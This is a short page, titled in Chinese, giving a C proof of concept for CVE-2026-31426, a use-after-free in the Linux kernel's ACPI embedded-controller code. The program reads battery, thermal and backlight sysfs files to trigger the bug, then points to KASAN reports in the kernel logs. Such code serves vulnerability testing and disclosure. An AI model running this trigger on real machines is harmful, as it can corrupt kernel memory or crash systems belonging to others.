CVE-2026-31426 Linux内核ACPI EC释放后使用漏洞

/* * PoC for CVE-2026-31426: Linux Kernel ACPI EC Use-After-Free * Trigger: Read sysfs entries that cause AML evaluation touching EC OpRegion. * Context: Requires a vulnerable kernel state (reduced-hardware platform with deferred GPIO IRQ). */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> void trigger_acpi_ec_uaf() { const char* sysfs_paths[] = { "/sys/class/power_supply/BAT0/status", "/sys/class/thermal/thermal_zone0/temp", "/sys/class/backlight/acpi_video0/brightness", NULL }; for (int i = 0; sysfs_paths[i] != NULL; i++) { int fd = open(sysfs_paths[i], O_RDONLY); if (fd >= 0) { char buf[32]; // Reading these files triggers AML execution that accesses EC OpRegion if (read(fd, buf, sizeof(buf)) < 0) { perror("Read failed"); } close(fd); } } } int main() { printf("[+] Attempting to trigger CVE-2026-31426...\n"); trigger_acpi_ec_uaf(); printf("[+] Trigger completed. Check kernel logs for KASAN reports.\n"); return 0; }